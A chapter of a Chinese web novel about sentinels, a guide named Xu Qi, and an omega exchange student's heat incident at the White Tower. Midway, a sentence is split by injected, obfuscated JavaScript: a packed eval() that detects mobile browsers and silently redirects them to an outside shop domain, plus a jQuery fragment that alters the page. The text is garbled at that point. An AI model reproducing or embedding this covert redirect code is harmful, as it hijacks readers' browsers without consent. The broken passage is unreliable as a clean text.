应准走进审讯室,两名执法员起身行礼。
他发梢还带着未干的水汽,是治疗舱营养液留下的痕迹。不久前,他又和郗兰单独打了一架。
实在气不过郗兰故意隐瞒向导的存在。
心思昭然若揭。
两人谁也没留手,最后双双躺进治疗舱。
灰发湿冷披肩。应准目光淡淡越过长桌。特质椅上,“鸦”像是刚从水里捞出来,狼狈虚弱。
一侧执法员低声汇报:“根据供述,他得到的是一件‘瞬移’类偷渡物,且已完成绑定。现有观测证据能够对应。”
“这类偷渡物完成绑定后,会融入宿主体内。”另一名执法员接过话,“上次逃狱时,他正是借此绕开主星监狱的监控系统,完成脱逃。”
“是否请示研究院,安排剥离?”
应准抬抬手。
两人顿时噤声,等待指示。
他垂眼片刻,才慢条斯理地看向对面。瞳色沉冷,唇边浮出一点玩味的弧度。“他是这么说的?”
随着靠近,阴影无声压下。
“鸦”僵硬抬头。
后颈骤然发凉。
-
接连数轮审讯没有给鸦留下半点喘息余地。
他先前能作恶,也能从主星监狱脱逃,本就仰仗恶魔给予的外力。如今那点倚仗尽失,再被一轮轮逼问下去,终究撑不住,将所有事情全盘托出。
审讯结果传出后,在场众人神色骤变,第一时间向联邦提交紧急报告。
一个能被召唤,并在一定程度上实现“愿望”的生物。
一个来自外宇宙的生物。
这必定会引起联邦高度重视。
应准走出审讯室时,天色将明。
与两名执法员分别后,他抬起修长的手摁了摁太阳穴。主星凌晨气温偏低,冷意沿着衣领往里渗。他收紧长领,轻轻吐出一口气。
坐上悬浮车,应准扫过终端。
凌晨4:25。
黎明从主星地平线升起,微光穿过云层,照亮远处空轨。应准收回视线,抿了抿唇,悬浮车沿预定航线驶向白塔。
途中,他又想起飞船上的场景。
枪支脱手掉落,子弹被精神力锁住,在狭窄枪膛中剧烈轰鸣。他濒临崩溃的精神域,也在同一刻被其接管、缠绕、封锁。
疼痛先一步袭来。
不同于精神力失控的躁动、头痛欲裂。
应准却想要落泪。
他恍惚闻到一股清淡、冷冽的气息。独属于向导,令人无可自拔地沉溺。
他深深埋在向导的腹部,像回到第一次疏解,第一次见到向导时。
年少时,应准曾好奇过,疏导是什么感觉。
母亲与他的向导父亲相伴多年,伉俪情深。她闻言笑着说:“每个人的体验都不一样,每个向导的疏导方式也不一样。”
“你父亲的精神力,就和他这个人一样。柔软,温和,清爽。”母亲想了想,“对我来说,像躺进一条小溪里。疏导结束后,整个人都像被洗净了一遍,很舒服。”
总归,不该是痛。
那股精神力没有所谓向导的柔软,也没有安抚前该有的温存。它温和,却强势得残忍,撬开一向所向披靡的哨兵外壳。
逼得他冷汗淋漓,触到最深处的柔软被击溃、失守。
理所当然地,应准当时没有给那名向导任何好脸色。
他承认,自己对家人以外的向导怀有偏见。他见过太多向导,打着疏导的名义,掌控,驯服哨兵,再冠以安抚之名。
他以为对方也是一样。
直到一日,他遇到向导另一个匹配哨兵。听到闻郁衡颔首说出那句“看来,我的预约比你早”。
他笑的得体,礼貌。
可那笑意不达眼底。应准只看见审视、警惕,还有毫不遮掩的炫耀。像是在告诉他,哪怕他们同时预约,那名向导也会先见闻郁衡。
应准本该嗤之以鼻。可事实上,他没说话。
闻郁衡与他擦肩而过,转而同向导言笑晏晏时,应准却只想撕开那层虚伪伪装,让向导看清他的真面目。
后来,他看见了他们的疗愈过程。
应准忘了自己是怎么离开的。他甚至忘了自己是否敢再看向那名向导的眼睛。
闻郁衡的手指在颤。
他掩饰得很好,面上还在与向导谈笑。
后来,应准找向导工会核实过。对方的答复很明确,这类向导罕见,却属正常范畴,匹配时会被专门标注——
可在那之前,应准对此一无所知。
匹配结果无法干预,向导履历却能被人抹去关键一笔。那个人,只会是当时的白塔副主席…闻郁衡。
这个贱人。
他是故意的。他想独占向导。
他,差点就…失去了向导。
起初只是愧疚,只是想弥补,才加入那支队伍。可只要与向导并肩过,便没人能真正抽身。他是天生的领袖,带领他的队伍,次次越过绝境。
只要向导在,便无所畏惧。
只有绝对强悍、绝对忠诚的哨兵,才能配站在、守候在向导…首席的身后。
“应准?”
黑发青年推门的手停在门沿,侧头,神色诧异:“你怎么在这?”
许奇低头扫了眼终端时间。
“这么早。”
“找我有事吗?”
应准高领后的脸色渐白。
他原没有奢望能见到向导。这个时间太早,他不该扰乱向导的作息。他只是想近一些…再近一些。只要确认那个人还在那里,还活着,还能被他感知到,就够了。
他张了张口,却干涩得吐不出声。
是了。
他险些忘了。得知向导还活着时,他喜悦到失控,像个被天降宝藏砸昏头的蠢货,竟忘了自己根本没有资格这样出现在这里。太难看了。像一个卑劣、失控、见不得光的窥伺者。
应准艰难地说:“我…我就来看看。”
拙劣的借口。
完了。
应准大脑空白。
“来看我的?”向导半张脸陷在阴影里,神色不明。他像是刚醒,黑发柔顺微乱,散在脸侧。
他穿着一件深蓝丝绸睡衣,不知是哪名哨兵送来的。领口最上方的扣子松着,露出白得刺眼的锁骨,随意散漫。
相处久了,很多人都会忘记,向导有一张极容易骗人心软的脸。
向导此时便安静合上门,露出一贯迷惑人的温和笑意。“确实很久没见了。陪我出去走走吧,应准。”
应准猛地蜷紧手指。
他表面牵起一点笑:“好的。”
领路的自然是应准。白塔这些年更新、修缮、扩建过太多次,旧日痕迹被一层层覆盖。对向导而言,这里早不是他记忆中的模样。他不想他因此…难过。
许奇却没想这么多。
他本来就是半夜醒了,再也睡不着,才想出门走走。
应准跟个鬼一样杵在门口,确实有点吓人。
不过细想也正常。对方大概一直以为他死了,结果人又活着站在这里,反应过来后觉得像做梦,跑来确认一下,也不是不能理解。
毕竟对这群哨兵而言,那是实打实的五十多年。
树荫浓密,小路越往深处走,光线越暗。灰白晨雾笼罩大地,仿佛将这片区域单独隔进了另一重空间。
应准说:“这里以前是哨兵宿舍。后来铲平了。”他抬手,指向远处雾气下隐约的建筑:“那边是新扩建的向导宿舍。”
许奇有些意外地挑眉:“那哨兵住哪?”
应准:“迁到西南区了。”
他补充:“校区扩建过。很多旧区域都换了用途。”
有了这个开头,两人便顺着白塔近年的变化聊了下去。建筑迁移、区域调整、管理体系更新。
许奇听着,感受最深的还是哨向世界观被打乱后,整个位面都像搅成了一锅大杂烩。
应准讲到这里,忽然说:“说到这个,白塔最近准备启动一个新项目…跨宇宙交换生。”
见向导露出兴趣,他便继续道:“半年前,第七宇宙给过回函。后面我没有再跟进,只听过一点大概。”他主动提议:
“你要是想了解,我可以带你去问。”
许奇笑笑:“不用。”他不会在这里停留太久。过几天拿到毕业证,就该回去上班。
其实多出几个宇宙,对他的退休好像也没太大影响。
应准神色微僵,眼底暗了下去。过了几分钟,身侧很轻的一句:“这几年,你们辛苦了。”
许奇没想到,五十多年过去,这些哨兵没能有新的适配的向导。
他其实也庆幸。
再晚一些见面,他或许见到的,便只剩这群同伴的墓碑。
许奇侧头,原以为会看见哨兵一如往常地臭着脸别开头,别扭地回一句不辛苦。可他一顿。那句“以后需要疏解,可以来比尔星找我”卡在喉咙,没能说出口。他看见应准…在哭。
是真的在流泪。
泪水一滴接一滴滚落,像透明珍珠滑过颊骨,没入下颌阴影。不是雨水,也不是沙子进了眼睛。
哭得发哽。许奇连假装没看到,替他找个借口的余地都没有。
他听到哨兵说:“对不起。”
还有。
“我真的好想你。”
应准从来不是会主动道歉的性格。
但无论如何,都不该是这个时候。在他分明没有做错任何事的时候,他究竟在为什么道歉?
许奇愣住了。
然而没等许奇问清缘由,两人几乎同时,目光移向正前方。
-
灼热。
难耐。
热意从腹部深处烧起来,像火舌贴着血肉一路蔓延。他的身体结构比起哨兵与向导都要娇小,露在外面的四肢纤细,因脱力而不受控制地发颤。
昏暗中,月光沿窗洒下,映出地面那支碎裂的玻璃针剂,残液沿着裂纹缓慢洇开。
浓卷长睫下,那双剔透眼眸透出绝望。
他没有余力,再拿起第二支。
接下来会怎样,他不需要猜。
失控,扩散,影响周围人群,最后被遣返回帝国。再然后,等待他的便是休学。
毕竟,即便他拥有不错的实力,在某些人眼中,他还有另一个更便于衡量、也更有“价值”的身份。
他是一个……
omega。
真是魔幻了。
算了,也不是第一次了,或许以后还会见到更多熟悉的设定。
许奇利落翻窗进室内,低头瞥了眼楼下十层的高度,心想幸好这窗虚掩着,没锁,不然他就只能考虑砸窗。
砸窗也得有技术,要算角度,一不小心洒下去要是有路人就遭了。
他视线扫了一圈。应准紧随其后,看到的便是向导从书桌上拿起一支注射剂。
下一秒,扶起一个‘青年’——
应准微眯起狭长的眼,终于锁定来源。那股浓厚到近乎异常的甜腻气味,正从这名青年身上持续散发。
源源不断。隔着这么远,也能闻到。
每支注射剂旁都配有简易说明。许奇逐字确认两遍,确认无误后,将针筒对准青年颈侧,利落扎下。
“嗯哼……”青年发出闷哼。
纤细手指下意识攥紧身上人的袖口,指骨微曲,药剂推入时,身体止不住发颤。
直到药液全部推入。
他像濒临窒息的人终于夺回空气,僵了一瞬,猛地吸气,随即剧烈咳嗽起来。
他没能看清是谁救了自己,只凭本能虚弱地低声说:“多谢……但是,”快走。
来不及了。
应准单手扣住一道破窗袭来的身影,细碎玻璃从四周炸开,他唇角挂着冷笑,反手将人压倒在地,身下那人当即发出惨叫。
然而惨叫并未让后来者停下。
那些赶来的“学员”像被某种本能驱使,失去基本判断,疯狂攻击挡在他们身前的一切,目标却并不清晰,只像要抢夺某个源头…
不,应准很快意识到,这些人不是白塔学员。
白塔以纪律性为第一标准,学员必须统一制服。而这些人衣着鲜亮,搭配夸张,像站在潮流前沿的明星。
唯独不像一个正经白塔学员。
许奇站在一侧,护在那名昏迷青年身边。他没有出手,这些人的实力,能让应准亲自处理,都算是越级指教了。
不需要他。
清晨寂静,破窗和打斗的声响过于明显,很快便惊动了白塔。各部门教
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689464|207879||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
官第一时间赶到。
再然后是警卫队,众多学员。
等残局收拾到一半,白塔校长擦着冷汗,带着另外三人赶到了。
这都是什么事啊!
一个omega发情期忘记注射抑制剂,导致其余alpha交换生受到影响,陷入临时易感期,纷纷试图抢夺、交/配、标记。
这就算了。
他承认,这是白塔的重大事故。
但也不至于这四个大人物齐聚一堂吧——
第一军团传奇上将,郗兰。
第四军团退役中将,危雪绥。听说昨日刚重新报到,恢复职位。
联邦监狱外行动部执法队队长,应准。
还有那名他刚上任不久,少不了需要对方帮扶的哨兵工会会长,闻郁衡。如今整个哨兵团体中,最权势滔天,也最不能得罪的人物。
为什么。
会议室里,四人齐聚,各自为营,或站或坐,神色不明。
最后,闻郁衡抬起眼。他一身白衬衫,西装裤笔挺,修长双腿交叠,金丝眼镜后的神色温和得近乎无害。
他撑着下颚,唇边带笑,语气却听不出半分温度。
“那么,贵校该给一个解释了。为什么第七宇宙前来的交换生,明知存在发情期风险,却没有任何相关应对措施。”
校长和一众教官站在原地,汗流浹背了。
-
“非常感谢。”
说话的是本次交换生队伍中的随行医师。他神色难辨地低头,看向病床上那名险些错过救治时机的omega。
目前情况稳定,只是脸色还很苍白,睡容安静。
他再次郑重道:“我代表帝国军校向您致谢。目前,我无法立刻向您许诺什么,但我会将此事上报帝国。到时定会……”
他声音微顿,罕见地哑了言,显然一时无法判断眼前这名青年究竟会需要什么。这位来自另一个宇宙的“向导”。
帝国能够给出的身份、地位、物资、特权……
似乎都无法成为对他的回报。
许奇说:“不用,举手之劳罢了。”他又问:“他脱离危险了吗?”
“是的。按理说,omega发情期不该引起这么严重的连锁反应…他正是出于这个原因,才随身携带抑制剂。正常情况下,这已经足够了。”
医师苦笑了一下:“但这是第一次跨宇宙交换,或许是宇宙环境差异导致,目前还无法确定。您也知道,不同宇宙之间,能力体系会发生偏移,其他生理机制也未必例外。”
“这也是交换生项目的意义。”
“只是显然,我们低估了风险。”
青年没有表现出任何不耐,医师便又多说了几句:“在我们那里,每一栋建筑、每一处公共区域,都会配置信息素净化系统。即便alpha或omega信息素外溢,也不至于酿成这样的事故……”
“哦,对了。我们和你们不同,我们有第一性别与第二性别。alpha、omega属于第一性别,信息素则是颈后腺体分泌的……”
许奇:“气味是吗?”
这种对于第七宇宙格外敏感,也格外隐私的话题,被他如此平静地提起,医师耳根微热,嗯了一声。
除beta之外,另外两个性别都有独特的辨识“气味”,常被其他宇宙调侃称作“随身香水”。
许奇:“没事就好。”
门外忽然传来敲门声,医师拉开门,看见一名银发及腰的漂亮男人立在外面。
那头银发太有辨识度,他眼前一晃,差点以为见到了另一个人。
“陛……”
他骤然止声。
幸好没说出口。
向导显然与这名男人相识,只朝对方笑了笑,便对医师道:“那我就先走了。”
医师点头:“好的。”
等向导走后,他坐在病床边,终端上陆续传来同僚的反馈。其余alpha都已恢复平静,目前没有后续风险。
医师这才真正缓了口气。
他又观察了片刻,见昏迷中的青年生命体征平稳,没有其他异常,便准备再去取一支抑制剂作为备用。
等他折返,病床上的omega已醒了,虚倚在床沿。
“你醒了。”医师快步上前:“现在感觉怎么样?”
青年抬起垂下的头。浓密卷翘的凌乱棕发柔软贴着脸颊,勾勒出一张标准的omega面孔。
漂亮,精致,还带着一点醒来后的茫然。“我……这是。”
“您获救了,宁殿下。”医师低声道,“这次多亏那名向导及时出手。确认您的体征稳定后,他的同伴也正好赶来,所以他便先行离开了。之后若能再见到他,您务必要亲自向他致谢。对了…他的名字!”
他懊恼道:“糟糕,忘记问了。”
“没事,我好像……记得他的长相。”
宁南嗓音微顿,目光落在纯白床单上,像是慢慢回忆起更多细节。
他恍惚记得那名青年俯身向他靠近时,身上有一股极淡的气息,淡到几乎不可捕捉,却带着某种不容错认的…压迫感。
他曾在,同一个人身上,感受过许多次。
宁南忽然侧头,犹豫说话:“我舅舅他……”
“滴——”
医师低头看向终端,忍不住笑了一下:“殿下,真被您说中了。陛下打来通讯了。”
-
天空晴朗,白塔校区渐渐热闹起来。
来往学员多是关于今早事故的议论。对他们而言,这无疑新奇。那是来自另一片宇宙的人种,身体结构、性别划分,乃至整套社会秩序,都与白塔熟悉的体系不同。
在那片宇宙,男女退居为第二性别,真正支配社会秩序的,是alpha、omega与beta。
alpha占据主导,负责战争、权力与秩序;omega被纳入保护体系,被视作稀缺而重要的繁衍资源;beta则数量最多,承担着整个社会最基础、也最庞杂的运转。
关于这件事的后续处置,危雪绥在路上同他说过,不需要他再费心。许奇走在路上,步伐微顿,指腹抚过后颈。
危雪绥看向他:“怎么了吗,阿奇?”
许奇:“…没事。”
就是可能,要长另一个器官了。